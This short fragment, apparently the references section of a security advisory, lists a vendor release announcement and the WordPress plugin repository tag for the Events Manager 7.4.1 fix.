- Vendor Release: https://wp-events-plugin.com/blog/2026/08/03/7-4-1/
- Plugin Fix (tag 7.4.1): https://plugins.svn.wordpress.org/events-manager/tags/7.4.1/
